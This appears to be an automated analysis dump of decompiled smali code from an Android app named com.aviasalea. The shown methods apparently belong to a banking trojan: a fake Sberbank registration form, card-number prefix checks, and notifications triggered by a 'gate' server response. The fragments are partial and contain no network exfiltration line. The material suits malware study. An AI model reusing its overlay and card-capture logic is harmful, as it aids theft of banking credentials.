                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.RuntimeException.<init>
                                      • java.lang.String.equals
                                      • java.lang.RuntimeException.<init>
                                      • java.lang.Class.getSuperclass
                                      Strings
                                      • Illegal activity type:
                                      • android.support.v4.app.FragmentActivity
                                      • com.actionbarsherlock.app
                                      • .SherlockActivity
                                      • .SherlockListActivity
                                      • .SherlockPreferenceActivity
                                      • Please use SherlockFragmentActivity. Illegal activity:
                                      • android.app.Activity
                                      • Illegal activity without fragment support. Either use Android 3.0+ or android.support.v4.app.FragmentActivity.
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/app/Activity;
                                      1.prologue
                                      2const/4 v1, 0x0
                                      4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      5move-result-object v3
                                      7invoke-virtual {v3}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                                      8move-result-object v0
                                      9goto_9: if-nez v0, :cond_28
                                      10new-instance v3, Ljava/lang/RuntimeException;
                                      11new-instance v4, Ljava/lang/StringBuilder;
                                      13invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                      15const-string v5, "Illegal activity type: "
                                      17invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      18move-result-object v4
                                      20invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      21move-result-object v5
                                      23invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      24move-result-object v4
                                      26invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      27move-result-object v4
                                      29invoke-direct {v3, v4}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                      30throw v3
                                      31cond_28:
                                      32invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      33move-result-object v2
                                      35const-string v3, "android.support.v4.app.FragmentActivity"
                                      37invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      38move-result v3
                                      39if-eqz v3, :cond_36
                                      40const/4 v1, 0x1
                                      41cond_35: return v1
                                      42cond_36:
                                      43const-string v3, "com.actionbarsherlock.app"
                                      45invoke-virtual {v2, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      46move-result v3
                                      47if-eqz v3, :cond_6f
                                      49const-string v3, ".SherlockActivity"
                                      51invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                      52move-result v3
                                      53if-nez v3, :cond_56
                                      55const-string v3, ".SherlockListActivity"
                                      57invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                      58move-result v3
                                      59if-nez v3, :cond_56
                                      61const-string v3, ".SherlockPreferenceActivity"
                                      63invoke-virtual {v2, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                      64move-result v3
                                      65if-eqz v3, :cond_6f
                                      66cond_56: new-instance v3, Ljava/lang/RuntimeException;
                                      67new-instance v4, Ljava/lang/StringBuilder;
                                      69invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                      71const-string v5, "Please use SherlockFragmentActivity. Illegal activity: "
                                      73invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      74move-result-object v4
                                      76invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      77move-result-object v4
                                      79invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      80move-result-object v4
                                      82invoke-direct {v3, v4}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                      83throw v3
                                      84cond_6f:
                                      85const-string v3, "android.app.Activity"
                                      87invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      88move-result v3
                                      89if-eqz v3, :cond_85
                                      90sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                                      91const/16 v4, 0xb
                                      92if-ge v3, v4, :cond_35
                                      93new-instance v3, Ljava/lang/RuntimeException;
                                      95const-string v4, "Illegal activity without fragment support. Either use Android 3.0+ or android.support.v4.app.FragmentActivity."
                                      97invoke-direct {v3, v4}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                      98throw v3
                                      99cond_85:
                                      100invoke-virtual {v0}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                                      101move-result-object v0
                                      102goto/16 :goto_9
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.length
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$000
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.delete
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.length
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$100
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.delete
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getVisibility
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.length
                                      • com.aviasalea.injs.s.views.SberRegisterView.access$200
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • android.text.Editable.delete
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      4invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      5move-result-object v1
                                      7invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getVisibility()I
                                      8move-result v1
                                      9if-nez v1, :cond_40
                                      11iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      13invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      14move-result-object v1
                                      16invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      17move-result-object v1
                                      18if-eqz v1, :cond_3f
                                      20iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      22invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      23move-result-object v1
                                      25invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      26move-result-object v1
                                      28invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      29move-result-object v1
                                      31invoke-interface {v1}, Landroid/text/Editable;->length()I
                                      32move-result v0
                                      33if-lez v0, :cond_3f
                                      35iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      37invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$000(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      38move-result-object v1
                                      40invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      41move-result-object v1
                                      43invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      44move-result-object v1
                                      45add-int/lit8 v2, v0, -0x1
                                      47invoke-interface {v1, v2, v0}, Landroid/text/Editable;->delete(II)Landroid/text/Editable;
                                      48cond_3f: return-void
                                      49cond_40:
                                      50iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      52invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      53move-result-object v1
                                      55invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getVisibility()I
                                      56move-result v1
                                      57if-nez v1, :cond_80
                                      59iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      61invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      62move-result-object v1
                                      64invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      65move-result-object v1
                                      66if-eqz v1, :cond_3f
                                      68iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      70invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      71move-result-object v1
                                      73invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      74move-result-object v1
                                      76invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      77move-result-object v1
                                      79invoke-interface {v1}, Landroid/text/Editable;->length()I
                                      80move-result v0
                                      81if-lez v0, :cond_3f
                                      83iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      85invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$100(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      86move-result-object v1
                                      88invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      89move-result-object v1
                                      91invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      92move-result-object v1
                                      93add-int/lit8 v2, v0, -0x1
                                      95invoke-interface {v1, v2, v0}, Landroid/text/Editable;->delete(II)Landroid/text/Editable;
                                      96goto/16 :goto_3f
                                      97cond_80:
                                      98iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      100invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      101move-result-object v1
                                      103invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getVisibility()I
                                      104move-result v1
                                      105if-nez v1, :cond_3f
                                      107iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      109invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      110move-result-object v1
                                      112invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      113move-result-object v1
                                      114if-eqz v1, :cond_3f
                                      116iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      118invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      119move-result-object v1
                                      121invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      122move-result-object v1
                                      124invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      125move-result-object v1
                                      127invoke-interface {v1}, Landroid/text/Editable;->length()I
                                      128move-result v0
                                      129if-lez v0, :cond_3f
                                      131iget-object v1, p0, Lcom/aviasalea/injs/s/views/SberRegisterView$1;->this$0:Lcom/aviasalea/injs/s/views/SberRegisterView;
                                      133invoke-static {v1}, Lcom/aviasalea/injs/s/views/SberRegisterView;->access$200(Lcom/aviasalea/injs/s/views/SberRegisterView;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      134move-result-object v1
                                      136invoke-virtual {v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      137move-result-object v1
                                      139invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      140move-result-object v1
                                      141add-int/lit8 v2, v0, -0x1
                                      143invoke-interface {v1, v2, v0}, Landroid/text/Editable;->delete(II)Landroid/text/Editable;
                                      144goto/16 :goto_3f
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.val.CEnum.values
                                      • com.aviasalea.injs.g.val.CEnum.getStartWith
                                      • java.lang.String.split
                                      • java.util.Arrays.asList
                                      • java.util.ArrayList.<init>
                                      • java.util.ArrayList.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • java.lang.String.trim
                                      • java.lang.String.contains
                                      • java.lang.String.split
                                      • java.lang.String.trim
                                      • java.lang.Long.parseLong
                                      • java.lang.String.trim
                                      • java.lang.Long.parseLong
                                      • java.lang.String.valueOf
                                      • java.lang.String.length
                                      • java.lang.String.length
                                      • java.lang.String.valueOf
                                      • java.lang.String.length
                                      • java.lang.String.substring
                                      • java.lang.Long.parseLong
                                      • java.lang.Long.parseLong
                                      • com.aviasalea.injs.g.val.CEnum.getCardName
                                      • com.aviasalea.injs.g.val.CEnum.getIcon
                                      • java.lang.String.startsWith
                                      • com.aviasalea.injs.g.val.CEnum.getCardName
                                      • com.aviasalea.injs.g.val.CEnum.getIcon
                                      Strings
                                      • ,
                                      • -
                                      Position Instruction Meta Information
                                      0.prologue
                                      2invoke-static {}, Lcom/aviasalea/injs/g/val/CEnum;->values()[Lcom/aviasalea/injs/g/val/CEnum;
                                      3move-result-object v12
                                      4array-length v13, v12
                                      5const/4 v11, 0x0
                                      6goto_6: if-ge v11, v13, :cond_c3
                                      7aget-object v2, v12, v11
                                      8new-instance v10, Ljava/util/ArrayList;
                                      10invoke-virtual {v2}, Lcom/aviasalea/injs/g/val/CEnum;->getStartWith()Ljava/lang/String;
                                      11move-result-object v14
                                      13const-string v15, ","
                                      15invoke-virtual {v14, v15}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                      16move-result-object v14
                                      18invoke-static {v14}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
                                      19move-result-object v14
                                      21invoke-direct {v10, v14}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
                                      23invoke-virtual {v10}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                      24move-result-object v14
                                      25cond_21:
                                      26invoke-interface {v14}, Ljava/util/Iterator;->hasNext()Z
                                      27move-result v15
                                      28if-eqz v15, :cond_bf
                                      30invoke-interface {v14}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      31move-result-object v4
                                      32check-cast v4, Ljava/lang/String;
                                      34invoke-virtual {v4}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      35move-result-object v4
                                      37const-string v15, "-"
                                      39invoke-virtual {v4, v15}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      40move-result v15
                                      41if-eqz v15, :cond_a1
                                      43const-string v15, "-"
                                      45invoke-virtual {v4, v15}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                      46move-result-object v5
                                      47const/4 v15, 0x0
                                      48aget-object v15, v5, v15
                                      50invoke-virtual {v15}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      51move-result-object v15
                                      53invoke-static {v15}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                                      54move-result-wide v8
                                      55const/4 v15, 0x1
                                      56aget-object v15, v5, v15
                                      58invoke-virtual {v15}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      59move-result-object v15
                                      61invoke-static {v15}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                                      62move-result-wide v6
                                      64invoke-static {v8, v9}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                                      65move-result-object v15
                                      67invoke-virtual {v15}, Ljava/lang/String;->length()I
                                      68move-result v15
                                      69move-object/from16 v0, p0
                                      71iget-object v0, v0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      72move-object/from16 v16, v0
                                      74invoke-virtual/range {v16 .. v16}, Ljava/lang/String;->length()I
                                      75move-result v16
                                      76move/from16 v0, v16
                                      77if-gt v15, v0, :cond_21
                                      78move-object/from16 v0, p0
                                      80iget-object v15, v0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      81const/16 v16, 0x0
                                      83invoke-static {v8, v9}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                                      84move-result-object v17
                                      86invoke-virtual/range {v17 .. v17}, Ljava/lang/String;->length()I
                                      87move-result v17
                                      89invoke-virtual/range {v15 .. v17}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                      90move-result-object v3
                                      92invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                                      93move-result-wide v16
                                      94cmp-long v15, v16, v8
                                      95if-ltz v15, :cond_21
                                      97invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
                                      98move-result-wide v16
                                      99cmp-long v15, v16, v6
                                      100if-gtz v15, :cond_21
                                      101new-instance v11, Lcom/aviasalea/injs/g/val/models/Card;
                                      103invoke-virtual {v2}, Lcom/aviasalea/injs/g/val/CEnum;->getCardName()Ljava/lang/String;
                                      104move-result-object v12
                                      105move-object/from16 v0, p0
                                      107invoke-direct {v0, v2}, Lcom/aviasalea/injs/g/val/CVal;->fetchPossibleLength(Lcom/aviasalea/injs/g/val/CEnum;)Ljava/util/ArrayList;
                                      108move-result-object v13
                                      110invoke-virtual {v2}, Lcom/aviasalea/injs/g/val/CEnum;->getIcon()I
                                      111move-result v14
                                      113invoke-direct {v11, v12, v13, v14}, Lcom/aviasalea/injs/g/val/models/Card;-><init>(Ljava/lang/String;Ljava/util/ArrayList;I)V
                                      114goto_a0: return-object v11
                                      115cond_a1: move-object/from16 v0, p0
                                      117iget-object v15, v0, Lcom/aviasalea/injs/g/val/CVal;->cardNumber:Ljava/lang/String;
                                      119invoke-virtual {v15, v4}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                      120move-result v15
                                      121if-eqz v15, :cond_21
                                      122new-instance v11, Lcom/aviasalea/injs/g/val/models/Card;
                                      124invoke-virtual {v2}, Lcom/aviasalea/injs/g/val/CEnum;->getCardName()Ljava/lang/String;
                                      125move-result-object v12
                                      126move-object/from16 v0, p0
                                      128invoke-direct {v0, v2}, Lcom/aviasalea/injs/g/val/CVal;->fetchPossibleLength(Lcom/aviasalea/injs/g/val/CEnum;)Ljava/util/ArrayList;
                                      129move-result-object v13
                                      131invoke-virtual {v2}, Lcom/aviasalea/injs/g/val/CEnum;->getIcon()I
                                      132move-result v14
                                      134invoke-direct {v11, v12, v13, v14}, Lcom/aviasalea/injs/g/val/models/Card;-><init>(Ljava/lang/String;Ljava/util/ArrayList;I)V
                                      135goto/16 :goto_a0
                                      136cond_bf: add-int/lit8 v11, v11, 0x1
                                      137goto/16 :goto_6
                                      138cond_c3: const/4 v11, 0x0
                                      139goto/16 :goto_a0
                                      Cross References
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.util.Log.v
                                      • java.lang.String.contains
                                      • java.lang.String.indexOf
                                      • java.lang.String.indexOf
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • java.lang.String.substring
                                      • java.lang.String.split
                                      • java.lang.Float.parseFloat
                                      • java.lang.String.contains
                                      • java.lang.String.contains
                                      • java.lang.String.contains
                                      Strings
                                      • AndroidNetworkTools
                                      • Ping String:
                                      • 0% packet loss
                                      • /mdev =
                                      • ms\n
                                      • Error:
                                      • /
                                      • 100% packet loss
                                      • % packet loss
                                      • partial packet loss
                                      • unknown host
                                      • unknown error in getPingStats
                                      Position Instruction Meta Information
                                      0.param p0, "pingResult" # Lcom/aviasalea/ping/PingResult;
                                      1.param p1, "s" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v8, 0x1
                                      4const/4 v7, -0x1
                                      6const-string v4, "AndroidNetworkTools"
                                      7new-instance v5, Ljava/lang/StringBuilder;
                                      9invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                                      11const-string v6, "Ping String: "
                                      13invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      14move-result-object v5
                                      16invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      17move-result-object v5
                                      19invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      20move-result-object v5
                                      22invoke-static {v4, v5}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
                                      24const-string v4, "0% packet loss"
                                      26invoke-virtual {p1, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      27move-result v4
                                      28if-eqz v4, :cond_63
                                      30const-string v4, "/mdev = "
                                      32invoke-virtual {p1, v4}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                      33move-result v2
                                      35const-string v4, " ms\n"
                                      37invoke-virtual {p1, v4, v2}, Ljava/lang/String;->indexOf(Ljava/lang/String;I)I
                                      38move-result v0
                                      39iput-object p1, p0, Lcom/aviasalea/ping/PingResult;->fullString:Ljava/lang/String;
                                      40if-eq v2, v7, :cond_34
                                      41if-ne v0, v7, :cond_4a
                                      42cond_34: new-instance v4, Ljava/lang/StringBuilder;
                                      44invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                      46const-string v5, "Error: "
                                      48invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      49move-result-object v4
                                      51invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      52move-result-object v4
                                      54invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      55move-result-object v1
                                      56goto_47: iput-object v1, p0, Lcom/aviasalea/ping/PingResult;->error:Ljava/lang/String;
                                      57goto_49: return-object p0
                                      58cond_4a: add-int/lit8 v4, v2, 0x8
                                      60invoke-virtual {p1, v4, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                      61move-result-object p1
                                      63const-string v4, "/"
                                      65invoke-virtual {p1, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                      66move-result-object v3
                                      67iput-boolean v8, p0, Lcom/aviasalea/ping/PingResult;->isReachable:Z
                                      68iput-object p1, p0, Lcom/aviasalea/ping/PingResult;->result:Ljava/lang/String;
                                      69aget-object v4, v3, v8
                                      71invoke-static {v4}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F
                                      72move-result v4
                                      73iput v4, p0, Lcom/aviasalea/ping/PingResult;->timeTaken:F
                                      74goto/16 :goto_49
                                      75cond_63:
                                      76const-string v4, "100% packet loss"
                                      78invoke-virtual {p1, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      79move-result v4
                                      80if-eqz v4, :cond_6e
                                      82const-string v1, "100% packet loss"
                                      83goto/16 :goto_47
                                      84cond_6e:
                                      85const-string v4, "% packet loss"
                                      87invoke-virtual {p1, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      88move-result v4
                                      89if-eqz v4, :cond_79
                                      91const-string v1, "partial packet loss"
                                      92goto/16 :goto_47
                                      93cond_79:
                                      94const-string v4, "unknown host"
                                      96invoke-virtual {p1, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      97move-result v4
                                      98if-eqz v4, :cond_84
                                      100const-string v1, "unknown host"
                                      101goto/16 :goto_47
                                      102cond_84:
                                      103const-string v1, "unknown error in getPingStats"
                                      104goto/16 :goto_47
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.putExtra
                                      • android.content.Intent.setFlags
                                      • android.app.PendingIntent.getActivity
                                      • com.aviasalea.Realtalk.setPlaySound
                                      • android.content.Context.getResources
                                      • android.graphics.BitmapFactory.decodeResource
                                      • java.lang.System.currentTimeMillis
                                      • android.support.v4.app.NotificationCompat$Builder.<init>
                                      • android.support.v4.app.NotificationCompat$Builder.setSmallIcon
                                      • android.content.Context.getResources
                                      • android.content.res.Resources.getColor
                                      • android.support.v4.app.NotificationCompat$Builder.setColor
                                      • android.support.v4.app.NotificationCompat$Builder.setLargeIcon
                                      • android.support.v4.app.NotificationCompat$Builder.setContentTitle
                                      • android.support.v4.app.NotificationCompat$Builder.setContentText
                                      • android.support.v4.app.NotificationCompat$Builder.setOngoing
                                      • android.support.v4.app.NotificationCompat$Builder.setAutoCancel
                                      • android.support.v4.app.NotificationCompat$Builder.setVibrate
                                      • android.support.v4.app.NotificationCompat$Builder.setContentIntent
                                      • android.support.v4.app.NotificationCompat$Builder.setWhen
                                      • android.support.v4.app.NotificationCompat$Builder.build
                                      • java.util.Random.<init>
                                      • java.util.Random.nextInt
                                      • android.content.Context.getSystemService
                                      • android.app.NotificationManager.notify
                                      Strings
                                      • packageName
                                      • my_channel_01
                                      • notification
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "gateResponse" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3new-instance v3, Lcom/aviasalea/not/NotController$NotModel;
                                      5invoke-direct {v3, p1}, Lcom/aviasalea/not/NotController$NotModel;-><init>(Lcom/aviasalea/srs/api/responses/HitGateResponse;)V
                                      6new-instance v6, Landroid/content/Intent;
                                      7const-class v9, Lcom/aviasalea/checkui/ActOpenApp;
                                      9invoke-direct {v6, p0, v9}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                      11const-string v9, "packageName"
                                      13iget-object v12, v3, Lcom/aviasalea/not/NotController$NotModel;->mPackageName:Ljava/lang/String;
                                      15invoke-virtual {v6, v9, v12}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                      16const/high16 v9, 0x24000000
                                      18invoke-virtual {v6, v9}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      19const/4 v9, 0x0
                                      20const/high16 v12, 0x8000000
                                      22invoke-static {p0, v9, v6, v12}, Landroid/app/PendingIntent;->getActivity(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
                                      23move-result-object v1
                                      24const/4 v9, 0x1
                                      26invoke-static {p0, v9}, Lcom/aviasalea/Realtalk;->setPlaySound(Landroid/content/Context;Z)V
                                      28invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                      29move-result-object v9
                                      30iget v12, v3, Lcom/aviasalea/not/NotController$NotModel;->mImBig:I
                                      32invoke-static {v9, v12}, Landroid/graphics/BitmapFactory;->decodeResource(Landroid/content/res/Resources;I)Landroid/graphics/Bitmap;
                                      33move-result-object v2
                                      35invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                      36move-result-wide v10
                                      38const-string v0, "my_channel_01"
                                      39new-instance v9, Landroid/support/v4/app/NotificationCompat$Builder;
